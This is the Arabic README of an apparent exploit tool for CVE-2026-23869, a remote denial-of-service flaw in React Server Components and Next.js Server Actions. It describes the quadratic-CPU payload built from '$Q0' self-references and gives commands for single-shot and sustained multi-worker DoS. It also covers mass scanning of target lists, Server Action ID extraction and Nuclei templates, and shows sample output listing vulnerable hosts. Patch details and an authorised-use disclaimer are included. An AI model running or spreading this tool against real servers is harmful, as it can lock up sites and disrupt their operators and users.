
أداة استغلال آلية لـ CVE-2026-23869، وهي ثغرة رفض خدمة (DoS) عن بُعد في مكونات خادم React. تتضمن PoC، وقالب Nuclei، ونصوص برمجية للمسح الضوئي للكشف والاستغلال.
رفض الخدمة عن بُعد غير مصادق عليه عبر بروتوكول React Flight
استنزاف CPU تربيعي في إلغاء تسلسل خريطة مكونات الخادم
نظرة عامة • كيف يعمل • الأدوات • التثبيت • الاستخدام • Nuclei • الإصلاح • إخلاء المسؤولية
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-23869 |
| الاسم المستعار | React2DoS |
| درجة CVSS | 7.5 (عالية) |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| CWE | CWE-400 (استهلاك موارد غير منضبط) |
| النوع | رفض خدمة عن بُعد غير مصادق عليه |
| اكتشفها | Yohann Sillam (Imperva Threat Research) |
| المتأثر | react-server-dom-webpack / parcel / turbopack ≤ 19.2.4 |
| تم التصحيح | React 19.2.5+ / Next.js 15.5.15+ / 16.2.3+ |
توجد ثغرة حرجة لرفض الخدمة في إلغاء تسلسل بروتوكول Flight لمكونات خادم React. يمكن لمهاجم غير مصادق عليه إرسال طلب HTTP واحد مصمم خصيصًا إلى أي نقطة نهاية Server Action في Next.js App Router، مما يتسبب في استنزاف CPU تربيعي O(n²) يقفل الخادم لدقائق.
consumed المفقودة في إلغاء تسلسل الخريطةيستخدم بروتوكول React Flight علامات خاصة لتسلسل أنواع البيانات. يمثل $Q كائن Map. عندما يستقبل الخادم حمولة تحتوي على علامات $Q0 ذاتية المرجع:
Payload: [ [1,1], [1,1], ...(n إدخالات صالحة)..., "$Q0", "$Q0", ...(n مراجع)... ]
كل $Q0 يطلق مُنشئ new Map() الذي يتكرر عبر جميع الإدخالات الصالحة n. يرمي مُنشئ Map خطأً (لأن الإدخالات غير صالحة)، لكن الخلل الحرج هو: علامة consumed لا تُضبط أبدًا عند الفشل.
هذا يعني أن $Q0 التالية تعيد حساب نفس الخريطة تمامًا من الصفر → مما يخلق تعقيدًا O(n²):
n إدخالات صالحة × n مراجع $Q0 = n² استدعاءات لمُنشئ Map
مثال: 65,000 × 65,000 = 4,225,000,000 عملية
النتيجة: طلب واحد يقفل CPU لمدة 5-10+ دقائق
┌──────────┐ POST / (multipart/form-data) ┌──────────────────┐
│ المهاجم │ ──────────────────────────────────────▶ │ خادم Next.js │
│ │ الترويسة: Next-Action: <action_id> │ │
│ │ الجسم: [[1,1]...,"$Q0","$Q0"...] │ ██████████ CPU │
│ │ │ 100% مقفل │
└──────────┘ │ لمدة ~5-10 دقائق│
└──────────────────┘
// ReactFlightReplyServer.js — قبل التصحيح
case "Q": {
const data = getOutlinedModel(response, id, obj);
return new Map(data); // ← يفشل لكنه لا يضبط consumed = true
// التالية $Q0 تعيد الحساب من الصفر
}
// ReactFlightReplyServer.js — بعد التصحيح (React 19.2.5+)
case "Q": {
const data = getOutlinedModel(response, id, obj);
obj.consumed = true; // ← الإصلاح: ضبط العلامة قبل البناء
return new Map(data); // يمنع إعادة الحساب المتكررة
}
| الملف | الوصف |
|---|---|
poc.py | أداة استغلال آلية بالكامل مع خط أنابيب من 4 مراحل (استطلاع ← استخراج ← كشف ← استغلال) |
# استنساخ المستودع
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit
# تثبيت تبعية Python
pip install requests
# جعل السكربتات قابلة للتنفيذ
chmod +x poc.py scan.sh extract-action-ids.sh
# لفحص قالب Nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# لتصفية الأهداف الحية
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
فقط أعطِ الرابط — الأداة تفعل كل شيء تلقائيًا:
python3 poc.py -u https://target.com
ماذا يحدث:
# فحص قائمة من النطاقات/عناوين IP
python3 poc.py -L targets.txt
# مع إخراج تقرير JSON
python3 poc.py -L targets.txt -o results.json
# كشف آمن فقط
python3 poc.py -u https://target.com -a <ACTION_ID> --detect
# استغلال بطلقة واحدة
python3 poc.py -u https://target.com -a <ACTION_ID> --single
# DoS مستمر (10 عمال)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10
python3 poc.py -u https://target.com --extract
Options:
-u, --url URL رابط الهدف (هدف واحد)
-L, --list FILE ملف يحتوي على روابط/عناوين IP للأهداف (واحد لكل سطر)
-a, --action-id ID معرف Server Action (تخطي الاستخراج التلقائي)
--detect الكشف فقط — آمن وغير مدمر (افتراضي)
--single استغلال بطلقة واحدة بعد الكشف
--exploit DoS مستمر بعد الكشف
--extract استخراج معرفات Action فقط
-l, --length N إدخالات الحمولة (افتراضي: 130000)
-w, --workers N العمال المتزامنون (افتراضي: 5)
-d, --delay SEC التأخير بين الطلبات (افتراضي: 1.0)
-o, --output FILE حفظ تقرير JSON
-t, --threads N الأهداف المتزامنة لفحص القائمة (افتراضي: 3)
صيغة PoC الأصلية لا تزال تعمل:
python3 poc.py <ACTION_ID> <URL>
# هدف واحد
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos
# أهداف متعددة
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos
# إخراج نظيف (نتائج الثغرات فقط)
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos -silent
ملاحظة: علامة
-itags dosمطلوبة لأن Nuclei يستبعد قوالب DoS افتراضيًا لأسباب تتعلق بالسلامة.
الطلب 1 (GET /) → بصمة Next.js (الترويسات + علامات HTML)
الطلب 2 (GET /) → استخراج معرفات Server Action من createServerReference()
الطلب 3 (POST /) → طلب توقيت أساسي (حمولة غير ضارة)
الطلب 4 (POST /) → اختبار الاستغلال (250 صالحة + 250 إدخال $Q0)
└─ إذا كان وقت الاستجابة ≥ 3 ثوانٍ → ضعيف
# يشغل httpx → يصفّي الأهداف الحية → فحص nuclei → النتائج
./scan.sh
# أو حدد ملفات مخصصة
./scan.sh targets1.txt targets2.txt
تستخدم الأداة الكشف القائم على التوقيت لتحديد الخوادم الضعيفة بأمان:
يتم تأكيد الكشف عندما:
multipart/form-data الكبيرة بشكل غير طبيعي التي تحتوي على علامات $Q/CVE-2026-23869-Exploit/
├── README.md # هذا الملف
├── poc.py # أداة استغلال PoC آلية بالكامل
├── CVE-2026-23869.yaml # قالب كشف Nuclei
├── scan.sh # ماسح تلقائي httpx + nuclei
└── extract-action-ids.sh # مستخرج معرفات Action مستقل
╔══════════════════════════════════════════════════╗
║ المرحلة 1 ▸ الاستطلاع ║
╚══════════════════════════════════════════════════╝
✓ تم اكتشاف Next.js (Next.js)
✓ معرف البناء: abc123def456
✓ App Router: تم اكتشاف Server Actions
╔══════════════════════════════════════════════════╗
║ المرحلة 2 ▸ استخراج معرف Action ║
╚══════════════════════════════════════════════════╝
✓ تم العثور على 3 معرفات Action:
1. a1b2c3d4e5f6789012345678901234567890abcd
2. b2c3d4e5f67890123456789012345678901234ef
╔══════════════════════════════════════════════════╗
║ المرحلة 3 ▸ كشف الثغرة ║
╚══════════════════════════════════════════════════╝
[1/2] الأساس: 0.142 ثانية
[2/2] الاختبار: 7.891 ثانية (55.6x الأساس)
██ ضعيف — تم تأكيد CVE-2026-23869 ██
╔══════════════════════════════════════════════════════════════╗
║ نتائج الفحص الدفعي ║
╚══════════════════════════════════════════════════════════════╝
تم الفحص : 150 هدفًا في 45.2 ثانية
ضعيف : 3
مُصحح : 12
تم تخطيه : 135
🔴 الأهداف الضعيفة
─────────────────────────────────────────────────
# الهدف الاختبار النسبة
1 vulnerable-app.com 7.89 ثانية 55.6x
2 staging.example.com 4.21 ثانية 28.1x
3 dev.testsite.org 12.33 ثانية 82.2x
⚠️ لاختبارات الأمان المصرح بها فقط
هذه الأداة مقدمة لأغراض تعليمية واختبار الاختراق المصرح به فقط. الاستخدام غير المصرح به لهذه الأداة ضد أهداف لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني وقد ينتهك قوانين الاحتيال الحاسوبي (CFAA, CMA, إلخ).
المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة. احصل دائمًا على إذن كتابي مناسب قبل اختبار أي أنظمة.
إذا وجدت هذا مفيدًا، فكر في منحه ⭐
CVE-2026-23869.yaml | قالب كشف Nuclei مع تنسيق قائم على التدفق |
scan.sh | سكربت غلاف: تصفية httpx للمواقع الحية + فحص nuclei |
extract-action-ids.sh | مستخرج مستقل لمعرفات Server Action |
| المقياس | ضعيف | مُصحح |
|---|
| الأساس (طلب غير ضار) | ~0.1-0.5 ثانية | ~0.1-0.5 ثانية |
| الاختبار (500 إدخال) | 3-10+ ثوانٍ | ~0.1-0.5 ثانية |
| النسبة (اختبار/أساس) | >5x | ~1x |
| الحمولة الكاملة (130 ألف إدخال) | 5-10+ دقائق | ~0.1-0.5 ثانية |
| الحزمة | ضعيف | مُصحح |
|---|
react-server-dom-webpack | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-parcel | ≤ 19.2.4 | 19.2.5+ |
react-server-dom-turbopack | ≤ 19.2.4 | 19.2.5+ |
| Next.js | < 15.5.15 | 15.5.15+ |
| Next.js 16.x | < 16.2.3 | 16.2.3+ |